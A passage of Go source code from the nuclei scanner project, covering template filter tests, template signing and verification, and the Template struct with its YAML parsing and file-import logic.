'te')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"md5(id)=='098f6bcd4621d373cade4e832627b4f6'\"}, dummyTemplate, false, true)\n\t\t// boolean operators\n\t\ttestAdvancedFiltering(t, []string{\"id!='nothing' && (contains(id, 'te') && id=='test')&& !contains(tags,'no_tag')\"}, dummyTemplate, false, true)\n\t\t// create some metadata\n\t\tdummyTemplate.Info.Metadata = make(map[string]interface{})\n\t\tdummyTemplate.Info.Metadata[\"test_value\"] = \"test\"\n\t\tdummyTemplate.Info.Metadata[\"bool_value\"] = true\n\t\tdummyTemplate.Info.Metadata[\"number_value\"] = 1\n\t\ttestAdvancedFiltering(t, []string{\"test_value == 'test' && bool_value && number_value>=1\"}, dummyTemplate, false, true)\n\t\t// some templates exist with hyphenated fields in the Metadata section.\n\t\tdummyTemplate.Info.Metadata[\"tool-query\"] = \"test-toolkit\"\n\t\ttestAdvancedFiltering(t, []string{\"tool_query == 'test-toolkit'\"}, dummyTemplate, false, true)\n\t})\n\tt.Run(\"advanced-filtering-negative\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"test\", []string{\"jira\"}, []string{\"test1\", \"test2\"}, severity.High, types.HTTPProtocol)\n\n\t\t// basic properties\n\t\ttestAdvancedFiltering(t, []string{\"id=='test1'\"}, dummyTemplate, false, false)\n\t\ttestAdvancedFiltering(t, []string{\"!(id==test') && !contains(tags,'bla')\"}, dummyTemplate, true, false)\n\t\t// helper function\n\t\ttestAdvancedFiltering(t, []string{\"!contains(id, 'bah')\"}, dummyTemplate, false, true)\n\t\t// boolean operators with nested negations\n\t\ttestAdvancedFiltering(t, []string{\"id!='nothing' && !(!contains(id, 'te') && id=='test')&& !contains(tags,'no_tag')\"}, dummyTemplate, false, true)\n\t\t// create some metadata\n\t\tdummyTemplate.Info.Metadata = make(map[string]interface{})\n\t\ttestAdvancedFiltering(t, []string{\"non_existent_value == 'test'\"}, dummyTemplate, false, false)\n\t})\n\tt.Run(\"template-condition\", func(t *testing.T) {\n\t\tdummyTemplate := newDummyTemplate(\"test\", []string{\"jira\"}, []string{\"test1\", \"test2\"}, severity.High, types.HTTPProtocol)\n\n\t\t// create some classification\n\t\tdummyTemplate.Info.Classification = &model.Classification{\n\t\t\tCVEID:       stringslice.StringSlice{Value: []string{\"test-CVEID\"}},\n\t\t\tCWEID:       stringslice.StringSlice{Value: []string{\"test-CWEID\"}},\n\t\t\tCVSSMetrics: \"CVSS:3.1/AB:C/DE:F/GH:I/JK:L/M:N/O:P/Q:R/S:T\",\n\t\t\tCVSSScore:   5,\n\t\t\tEPSSScore:   0.012345,\n\t\t\tCPE:         \"cpe:2.3:a:test:collaboration:1.0.0:-:*:*:*:*:*:*\",\n\t\t}\n\t\ttestAdvancedFiltering(t, []string{\"cvss_score==5\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"cvss_score>=4\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"epss_score==0.012345\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"cpe=='cpe:2.3:a:test:collaboration:1.0.0:-:*:*:*:*:*:*'\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"contains(cpe,'cpe:2.3')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"cvss_metrics=='CVSS:3.1/AB:C/DE:F/GH:I/JK:L/M:N/O:P/Q:R/S:T'\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"contains(cvss_metrics,'AB:C')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"contains(cwe_id,'test-CWEID')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"contains(cve_id,'test-CVEID')\"}, dummyTemplate, false, true)\n\t\ttestAdvancedFiltering(t, []string{\"cvss_score>=6\"}, dummyTemplate, false, false)\n\t\t// cve_id and cwe_id are arrays, the `==` operator does not work on arrays.\n\t\ttestAdvancedFiltering(t, []string{\"cve_id=='test-CVEID'\"}, dummyTemplate, false, false)\n\t\ttestAdvancedFiltering(t, []string{\"cwe_id=='test-CWEID'\"}, dummyTemplate, false, false)\n\t})\n}\n\nfunc testAdvancedFiltering(t *testing.T, includeConditions []string, template *Template, shouldError, shouldMatch bool) {\n\t// basic properties\n\tadvancedFilter, err := NewTagFilter(&TagFilterConfig{IncludeConditions: includeConditions})\n\tif shouldError {\n\t\trequire.NotNil(t, err)\n\t\treturn\n\t} else {\n\t\trequire.Nil(t, err)\n\t}\n\tmatched, _ := advancedFilter.Match(template, nil)\n\trequire.Equal(t, shouldMatch, matched, \"could not get correct match\")\n}\n"
  },
  {
    "path": "pkg/templates/template_sign.go",
    "content": "package templates\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// Due to file references in sensitive fields of template\n// ex: javascript code in flow or bash command in code.Source etc\n// signing / verifying template is only possible after loading the template\n// with these fields resolved\n\nvar (\n\tdefaultOpts *types.Options = types.DefaultOptions()\n\tinitOnce                   = sync.OnceFunc(func() {\n\t\t_ = protocolstate.Init(defaultOpts)\n\t\t_ = protocolinit.Init(defaultOpts)\n\t})\n\tErrNotATemplate = errkit.New(\"given filePath is not a template\", \"tag\", \"signer\")\n)\n\n// UseOptionsForSigner sets the options to use for signing templates\n// instead of default options\nfunc UseOptionsForSigner(opts *types.Options) {\n\tdefaultOpts = opts\n}\n\n// New Signer/Verification logic requires it to load content of file references\n// and this is done respecting sandbox restrictions to avoid any security issues\n// AllowLocalFileAccess is a function that allows local file access by disabling sandbox restrictions\n// and **MUST** be called before signing / verifying any templates for initialization\nfunc TemplateSignerLFA() {\n\tdefaultOpts.AllowLocalFileAccess = true\n}\n\n// VerifyTemplateSignature verifies the signature of the template\n// using default signers\nfunc VerifyTemplateSignature(templatePath string) (bool, error) {\n\ttemplate, _, err := getTemplate(templatePath)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn template.Verified, nil\n}\n\n// SignTemplate signs the tempalate using custom signer\nfunc SignTemplate(templateSigner *signer.TemplateSigner, templatePath string) error {\n\t// sign templates requires code files such as javsacript bash command to be included\n\t// in template hence we first load template and append such resolved file references to content\n\tinitOnce()\n\n\t// signing is only supported on yaml nuclei templates\n\tif !strings.HasSuffix(templatePath, extensions.YAML) {\n\t\treturn ErrNotATemplate\n\t}\n\n\ttemplate, bin, err := getTemplate(templatePath)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to get template from disk\")\n\t}\n\tif len(template.Workflows) > 0 {\n\t\t// signing workflows is not supported at least yet\n\t\treturn ErrNotATemplate\n\t}\n\tif !template.Verified {\n\t\t_, content := signer.ExtractSignatureAndContent(bin)\n\t\tsignatureData, err := templateSigner.Sign(bin, template)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuff := bytes.NewBuffer(content)\n\t\tbuff.WriteString(\"\\n\" + signatureData)\n\t\treturn os.WriteFile(templatePath, buff.Bytes(), 0644)\n\t}\n\treturn nil\n}\n\nfunc getTemplate(templatePath string) (*Template, []byte, error) {\n\tcatalog := disk.NewCatalog(filepath.Dir(templatePath))\n\texecuterOpts := &protocols.ExecutorOptions{\n\t\tCatalog:      catalog,\n\t\tOptions:      defaultOpts,\n\t\tTemplatePath: templatePath,\n\t}\n\tbin, err := os.ReadFile(templatePath)\n\tif err != nil {\n\t\treturn nil, bin, err\n\t}\n\ttemplate, err := ParseTemplateFromReader(bytes.NewReader(bin), nil, executerOpts)\n\tif err != nil {\n\t\treturn nil, bin, errkit.Wrap(err, \"failed to parse template\")\n\t}\n\treturn template, bin, nil\n}\n"
  },
  {
    "path": "pkg/templates/templates.go",
    "content": "//go:generate dstdocgen -path \"\" -structure Template -output templates_doc.go -package templates\npackage templates\n\nimport (\n\t\"io\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/code\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/file\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\t\"go.uber.org/multierr\"\n\t\"gopkg.in/yaml.v2\"\n)\n\n// Template is a YAML input file which defines all the requests and\n// other metadata for a template.\ntype Template struct {\n\t// description: |\n\t//   ID is the unique id for the template.\n\t//\n\t//   #### Good IDs\n\t//\n\t//   A good ID uniquely identifies what the requests in the template\n\t//   are doing. Let's say you have a template that identifies a git-config\n\t//   file on the webservers, a good name would be `git-config-exposure`. Another\n\t//   example name is `azure-apps-nxdomain-takeover`.\n\t// examples:\n\t//   - name: ID Example\n\t//     value: \"\\\"CVE-2021-19520\\\"\"\n\tID string `yaml:\"id\" json:\"id\" jsonschema:\"title=id of the template,description=The Unique ID for the template,required,example=cve-2021-19520,pattern=^([a-zA-Z0-9]+[-_])*[a-zA-Z0-9]+$\"`\n\t// description: |\n\t//   Info contains metadata information about the template.\n\t// examples:\n\t//   - value: exampleInfoStructure\n\tInfo model.Info `yaml:\"info\" json:\"info\" jsonschema:\"title=info for the template,description=Info contains metadata for the template,required,type=object\"`\n\t// description: |\n\t//   Flow contains the execution flow for the template.\n\t// examples:\n\t//   - flow: |\n\t// \t\tfor region in regions {\n\t//\t\t    http(0)\n\t//\t\t }\n\t//\t\t for vpc in vpcs {\n\t//\t\t    http(1)\n\t//\t\t }\n\t//\n\tFlow string `yaml:\"flow,omitempty\" json:\"flow,omitempty\" jsonschema:\"title=template execution flow in js,description=Flow contains js code which defines how the template should be executed,type=string,example='flow: http(0) && http(1)'\"`\n\t// description: |\n\t//   Requests contains the http request to make in the template.\n\t//   WARNING: 'requests' will be deprecated and will be removed in a future release. Please use 'http' instead.\n\t// examples:\n\t//   - value: exampleNormalHTTPRequest\n\tRequestsHTTP []*http.Request `yaml:\"requests,omitempty\" json:\"requests,omitempty\" jsonschema:\"title=http requests to make,description=HTTP requests to make for the template,deprecated=true\"`\n\t// description: |\n\t//   HTTP contains the http request to make in the template.\n\t// examples:\n\t//   - value: exampleNormalHTTPRequest\n\t// RequestsWithHTTP is placeholder(internal) only, and should not be used instead use RequestsHTTP\n\t// Deprecated: Use RequestsHTTP instead.\n\tRequestsWithHTTP []*http.Request `yaml:\"http,omitempty\" json:\"http,omitempty\" jsonschema:\"title=http requests to make,description=HTTP requests to make for the template\"`\n\t// description: |\n\t//   DNS contains the dns request to make in the template\n\t// examples:\n\t//   - value: exampleNormalDNSRequest\n\tRequestsDNS []*dns.Request `yaml:\"dns,omitempty\" json:\"dns,omitempty\" jsonschema:\"title=dns requests to make,description=DNS requests to make for the template\"`\n\t// description: |\n\t//   File contains the file request to make in the template\n\t// examples:\n\t//   - value: exampleNormalFileRequest\n\tRequestsFile []*file.Request `yaml:\"file,omitempty\" json:\"file,omitempty\" jsonschema:\"title=file requests to make,description=File requests to make for the template\"`\n\t// description: |\n\t//   Network contains the network request to make in the template\n\t//   WARNING: 'network' will be deprecated and will be removed in a future release. Please use 'tcp' instead.\n\t// examples:\n\t//   - value: exampleNormalNetworkRequest\n\tRequestsNetwork []*network.Request `yaml:\"network,omitempty\" json:\"network,omitempty\" jsonschema:\"title=network requests to make,description=Network requests to make for the template,deprecated=true\"`\n\t// description: |\n\t//   TCP contains the network request to make in the template\n\t// examples:\n\t//   - value: exampleNormalNetworkRequest\n\t// RequestsWithTCP is placeholder(internal) only, and should not be used instead use RequestsNetwork\n\t// Deprecated: Use RequestsNetwork instead.\n\tRequestsWithTCP []*network.Request `yaml:\"tcp,omitempty\" json:\"tcp,omitempty\" jsonschema:\"title=network(tcp) requests to make,description=Network requests to make for the template\"`\n\t// description: |\n\t//   Headless contains the headless request to make in the template.\n\tRequestsHeadless []*headless.Request `yaml:\"headless,omitempty\" json:\"headless,omitempty\" jsonschema:\"title=headless requests to make,description=Headless requests to make for the template\"`\n\t// description: |\n\t//   SSL contains the SSL request to make in the template.\n\tRequestsSSL []*ssl.Request `yaml:\"ssl,omitempty\" json:\"ssl,omitempty\" jsonschema:\"title=ssl requests to make,description=SSL requests to make for the template\"`\n\t// description: |\n\t//   Websocket contains the Websocket request to make in the template.\n\tRequestsWebsocket []*websocket.Request `yaml:\"websocket,omitempty\" json:\"websocket,omitempty\" jsonschema:\"title=websocket requests to make,description=Websocket requests to make for the template\"`\n\t// description: |\n\t//   WHOIS contains the WHOIS request to make in the template.\n\tRequestsWHOIS []*whois.Request `yaml:\"whois,omitempty\" json:\"whois,omitempty\" jsonschema:\"title=whois requests to make,description=WHOIS requests to make for the template\"`\n\t// description: |\n\t//   Code contains code snippets.\n\tRequestsCode []*code.Request `yaml:\"code,omitempty\" json:\"code,omitempty\" jsonschema:\"title=code snippets to make,description=Code snippets\"`\n\t// description: |\n\t//   Javascript contains the javascript request to make in the template.\n\tRequestsJavascript []*javascript.Request `yaml:\"javascript,omitempty\" json:\"javascript,omitempty\" jsonschema:\"title=javascript requests to make,description=Javascript requests to make for the template\"`\n\n\t// description: |\n\t//   Workflows is a yaml based workflow declaration code.\n\tworkflows.Workflow `yaml:\",inline,omitempty\" jsonschema:\"title=workflows to run,description=Workflows to run for the template\"`\n\tCompiledWorkflow   *workflows.Workflow `yaml:\"-\" json:\"-\" jsonschema:\"-\"`\n\n\t// description: |\n\t//   Self Contained marks Requests for the template as self-contained\n\tSelfContained bool `yaml:\"self-contained,omitempty\" json:\"self-contained,omitempty\" jsonschema:\"title=mark requests as self-contained,description=Mark Requests for the template as self-contained\"`\n\t// description: |\n\t//  Stop execution once first match is found\n\tStopAtFirstMatch bool `yaml:\"stop-at-first-match,omitempty\" json:\"stop-at-first-match,omitempty\" jsonschema:\"title=stop at first match,description=Stop at first match for the template\"`\n\n\t// description: |\n\t//   Signature is the request signature method\n\t//   WARNING: 'signature' will be deprecated and will be removed in a future release. Prefer using 'code' protocol for writing cloud checks\n\t// values:\n\t//   - \"AWS\"\n\tSignature http.SignatureTypeHolder `yaml:\"signature,omitempty\" json:\"signature,omitempty\" jsonschema:\"title=signature is the http request signature method,description=Signature is the HTTP Request signature Method,enum=AWS,deprecated=true\"`\n\n\t// description: |\n\t//   Variables contains any variables for the current request.\n\tVariables variables.Variable `yaml:\"variables,omitempty\" json:\"variables,omitempty\" jsonschema:\"title=variables for the http request,description=Variables contains any variables for the current request,type=object\"`\n\n\t// description: |\n\t//   Constants contains any scalar constant for the current template\n\tConstants map[string]interface{} `yaml:\"constants,omitempty\" json:\"constants,omitempty\" jsonschema:\"title=constant for the template,description=constants contains any constant for the template,type=object\"`\n\n\t// TotalRequests is the total number of requests for the template.\n\tTotalRequests int `yaml:\"-\" json:\"-\"`\n\t// Executer is the actual template executor for running template requests\n\tExecuter protocols.Executer `yaml:\"-\" json:\"-\"`\n\n\tPath string `yaml:\"-\" json:\"-\"`\n\n\t// Verified defines if the template signature is digitally verified\n\tVerified bool `yaml:\"-\" json:\"-\"`\n\t// TemplateVerifier is identifier verifier used to verify the template (default nuclei-templates have projectdiscovery/nuclei-templates)\n\tTemplateVerifier string `yaml:\"-\" json:\"-\"`\n\t// RequestsQueue contains all template requests in order (both protocol & request order)\n\tRequestsQueue []protocols.Request `yaml:\"-\" json:\"-\"`\n\n\t// ImportedFiles contains list of files whose contents are imported after template was compiled\n\tImportedFiles []string `yaml:\"-\" json:\"-\"`\n}\n\n// HasCodeProtocol returns true if the template has a code protocol section\n//\n// Deprecated: Use [HasCodeRequest] instead.\nfunc (template *Template) HasCodeProtocol() bool {\n\treturn len(template.RequestsCode) > 0\n}\n\n// HasFileProtocol returns true if the template has a file protocol section.\n//\n// Deprecated: Use [HasFileRequest] instead.\nfunc (template *Template) HasFileProtocol() bool {\n\treturn len(template.RequestsFile) > 0\n}\n\n// Type returns the type of the template\nfunc (template *Template) Type() types.ProtocolType {\n\tswitch {\n\tcase template.HasDNSRequest():\n\t\treturn types.DNSProtocol\n\tcase template.HasFileRequest():\n\t\treturn types.FileProtocol\n\tcase template.HasHTTPRequest():\n\t\treturn types.HTTPProtocol\n\tcase template.HasHeadlessRequest():\n\t\treturn types.HeadlessProtocol\n\tcase template.HasNetworkRequest():\n\t\treturn types.NetworkProtocol\n\tcase template.HasSSLRequest():\n\t\treturn types.SSLProtocol\n\tcase template.HasWebsocketRequest():\n\t\treturn types.WebsocketProtocol\n\tcase template.HasWHOISRequest():\n\t\treturn types.WHOISProtocol\n\tcase template.HasCodeRequest():\n\t\treturn types.CodeProtocol\n\tcase template.HasJavascriptRequest():\n\t\treturn types.JavascriptProtocol\n\tcase template.HasWorkflows():\n\t\treturn types.WorkflowProtocol\n\tdefault:\n\t\treturn types.InvalidProtocol\n\t}\n}\n\n// IsFuzzing returns true if the template is a fuzzing template\n//\n// Deprecated: Use [IsFuzzableRequest] instead.\nfunc (template *Template) IsFuzzing() bool {\n\tif len(template.RequestsHTTP) == 0 && len(template.RequestsHeadless) == 0 {\n\t\t// fuzzing is only supported for http and headless protocols\n\t\treturn false\n\t}\n\tif len(template.RequestsHTTP) > 0 {\n\t\tfor _, request := range template.RequestsHTTP {\n\t\t\tif len(request.Fuzzing) > 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tif len(template.RequestsHeadless) > 0 {\n\t\tfor _, request := range template.RequestsHeadless {\n\t\t\tif len(request.Fuzzing) > 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\n// UsesRequestSignature returns true if the template uses a request signature like AWS\nfunc (template *Template) UsesRequestSignature() bool {\n\treturn template.Signature.Value.String() != \"\"\n}\n\n// validateAllRequestIDs check if that protocol already has given id if not\n// then is is manually set to proto_index\nfunc (template *Template) validateAllRequestIDs() {\n\t// this is required in multiprotocol and flow where we save response variables\n\t// and all other data in template context if template as two requests in a protocol\n\t// then it is overwritten to avoid this we use proto_index as request ID\n\tif template.HasCodeRequest(1) {\n\t\tfor i, req := range template.RequestsCode {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasDNSRequest(1) {\n\t\tfor i, req := range template.RequestsDNS {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasFileRequest(1) {\n\t\tfor i, req := range template.RequestsFile {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasHTTPRequest(1) {\n\t\tfor i, req := range template.RequestsHTTP {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasHeadlessRequest(1) {\n\t\tfor i, req := range template.RequestsHeadless {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasNetworkRequest(1) {\n\t\tfor i, req := range template.RequestsNetwork {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasSSLRequest(1) {\n\t\tfor i, req := range template.RequestsSSL {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasWebsocketRequest(1) {\n\t\tfor i, req := range template.RequestsWebsocket {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasWHOISRequest(1) {\n\t\tfor i, req := range template.RequestsWHOIS {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n\n\tif template.HasJavascriptRequest(1) {\n\t\tfor i, req := range template.RequestsJavascript {\n\t\t\tif req.ID == \"\" {\n\t\t\t\treq.ID = req.Type().String() + \"_\" + strconv.Itoa(i+1)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// MarshalYAML forces recursive struct validation during marshal operation\nfunc (template *Template) MarshalYAML() ([]byte, error) {\n\tout, marshalErr := yaml.Marshal(template)\n\t// Use shared validator to avoid rebuilding struct cache for every template marshal\n\terrValidate := tplValidator.Struct(template)\n\treturn out, multierr.Append(marshalErr, errValidate)\n}\n\n// UnmarshalYAML forces recursive struct validation after unmarshal operation\nfunc (template *Template) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Template\n\talias := &Alias{}\n\terr := unmarshal(alias)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*template = Template(*alias)\n\n\tif !ReTemplateID.MatchString(template.ID) {\n\t\treturn errkit.New(\"template id must match expression %v\", ReTemplateID, \"tag\", \"invalid_template\")\n\t}\n\n\tinfo := template.Info\n\tif utils.IsBlank(info.Name) {\n\t\treturn errkit.New(\"no template name field provided\", \"tag\", \"invalid_template\")\n\t}\n\n\tif info.Authors.IsEmpty() {\n\t\treturn errkit.New(\"no template author field provided\", \"tag\", \"invalid_template\")\n\t}\n\n\tif template.HasHTTPRequest() || template.HasNetworkRequest() {\n\t\t_ = deprecatedProtocolNameTemplates.Set(template.ID, true)\n\t}\n\n\tif HasRequest(alias.RequestsHTTP) && HasRequest(alias.RequestsWithHTTP) {\n\t\treturn errkit.New(\"use http or requests, both are not supported\", \"tag\", \"invalid_template\")\n\t}\n\n\tif HasRequest(alias.RequestsNetwork) && HasRequest(alias.RequestsWithTCP) {\n\t\treturn errkit.New(\"use tcp or network, both are not supported\", \"tag\", \"invalid_template\")\n\t}\n\n\tif HasRequest(alias.RequestsWithHTTP) {\n\t\ttemplate.RequestsHTTP = alias.RequestsWithHTTP\n\t}\n\n\tif HasRequest(alias.RequestsWithTCP) {\n\t\ttemplate.RequestsNetwork = alias.RequestsWithTCP\n\t}\n\n\terr = tplValidator.Struct(template)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// check if the template contains more than 1 protocol request\n\t// if so  preserve the order of the protocols and requests\n\tif template.hasMultipleRequests() {\n\t\tvar tempmap yaml.MapSlice\n\n\t\terr = unmarshal(&tempmap)\n\t\tif err != nil {\n\t\t\treturn errkit.Wrapf(err, \"failed to unmarshal multi protocol template %s\", template.ID)\n\t\t}\n\n\t\tarr := []string{}\n\t\tfor _, v := range tempmap {\n\t\t\tkey, ok := v.Key.(string)\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tarr = append(arr, key)\n\t\t}\n\n\t\t// add protocols to the protocol stack (the idea is to preserve the order of the protocols)\n\t\ttemplate.addRequestsToQueue(arr...)\n\t}\n\n\treturn nil\n}\n\n// ImportFileRefs checks if sensitive fields like `flow` , `source` in code protocol are referencing files\n// instead of actual javascript / engine code if so it loads the file contents and replaces the reference\nfunc (template *Template) ImportFileRefs(options *protocols.ExecutorOptions) error {\n\tvar errs []error\n\n\tloadFile := func(source string) (string, bool) {\n\t\t// load file respecting sandbox\n\t\tdata, err := options.Options.LoadHelperFile(source, options.TemplatePath, options.Catalog)\n\t\tif err == nil {\n\t\t\tdefer func() {\n\t\t\t\t_ = data.Close()\n\t\t\t}()\n\n\t\t\tbin, err := io.ReadAll(data)\n\t\t\tif err == nil {\n\t\t\t\treturn string(bin), true\n\t\t\t} else {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\n\t\treturn \"\", false\n\t}\n\n\t// for code protocol requests\n\tfor _, request := range template.RequestsCode {\n\t\t// simple test to check if source is a file or a snippet\n\t\tif !strings.ContainsRune(request.Source, '\\n') && fileutil.FileExists(request.Source) {\n\t\t\tif val, ok := loadFile(request.Source); ok {\n\t\t\t\ttemplate.ImportedFiles = append(template.ImportedFiles, request.Source)\n\t\t\t\trequest.Source = val\n\t\t\t}\n\t\t}\n\t}\n\n\t// for javascript protocol code references\n\tfor _, request := range template.RequestsJavascript {\n\t\t// simple test to check if source is a file or a snippet\n\t\tif !strings.ContainsRune(request.Code, '\\n') && fileutil.FileExists(request.Code) {\n\t\t\tif val, ok := loadFile(request.Code); ok {\n\t\t\t\ttemplate.ImportedFiles = append(template.ImportedFiles, request.Code)\n\t\t\t\trequest.Code = val\n\t\t\t}\n\t\t}\n\t}\n\n\t// flow code references\n\tif template.IsFlowTemplate() {\n\t\tif filepath.Ext(template.Flow) == \".js\" && fileutil.FileExists(template.Flow) {\n\t\t\tif val, ok := loadFile(template.Flow); ok {\n\t\t\t\ttemplate.ImportedFiles = append(template.ImportedFiles, template.Flow)\n\t\t\t\ttemplate.Flow = val\n\t\t\t}\n\t\t}\n\n\t\toptions.Flow = template.Flow\n\t}\n\n\t// for multiprotocol requests\n\t// mutually exclusive with flow\n\tif HasRequest(template.RequestsQueue) && template.Flow == \"\" {\n\t\t// this is most likely a multiprotocol template\n\t\tfor _, req := range template.RequestsQueue {\n\t\t\tif req.Type() == types.CodeProtocol {\n\t\t\t\trequest := req.(*code.Request)\n\t\t\t\t// simple test to check if source is a file or a snippet\n\t\t\t\tif !strings.ContainsRune(request.Source, '\\n') && fileutil.FileExists(request.Source) {\n\t\t\t\t\tif val, ok := loadFile(request.Source); ok {\n\t\t\t\t\t\ttemplate.ImportedFiles = append(template.ImportedFiles, request.Source)\n\t\t\t\t\t\trequest.Source = val\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// for javascript protocol code references\n\t\tfor _, req := range template.RequestsQueue {\n\t\t\tif req.Type() == types.JavascriptProtocol {\n\t\t\t\trequest := req.(*javascript.Request)\n\t\t\t\t// simple test to check if source is a file or a snippet\n\t\t\t\tif !strings.ContainsRune(request.Code, '\\n') && fileutil.FileExists(request.Code) {\n\t\t\t\t\tif val, ok := loadFile(request.Code); ok {\n\t\t\t\t\t\ttemplate.ImportedFiles = append(template.ImportedFiles, request.Code)\n\t\t\t\t\t\trequest.Code = val\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn multierr.Combine(errs...)\n}\n\n// GetFileImports returns a list of files that are imported by the template\nfunc (template *Template) GetFileImports() []string {\n\treturn template.ImportedFiles\n}\n\n// addRequestsToQueue adds protocol requests to the queue and preserves order of the protocols and requests\nfunc (template *Template) addRequestsToQueue(keys ...string) {\n\tfor _, key := range keys {\n\t\tswitch key {\n\t\tcase types.DNSProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsDNS)...)\n\t\tcase types.FileProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsFile)...)\n\t\tcase types.HTTPProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsHTTP)...)\n\t\tcase types.HeadlessProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsHeadless)...)\n\t\tcase types.NetworkProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsNetwork)...)\n\t\tcase types.SSLProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsSSL)...)\n\t\tcase types.WebsocketProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsWebsocket)...)\n\t\tcase 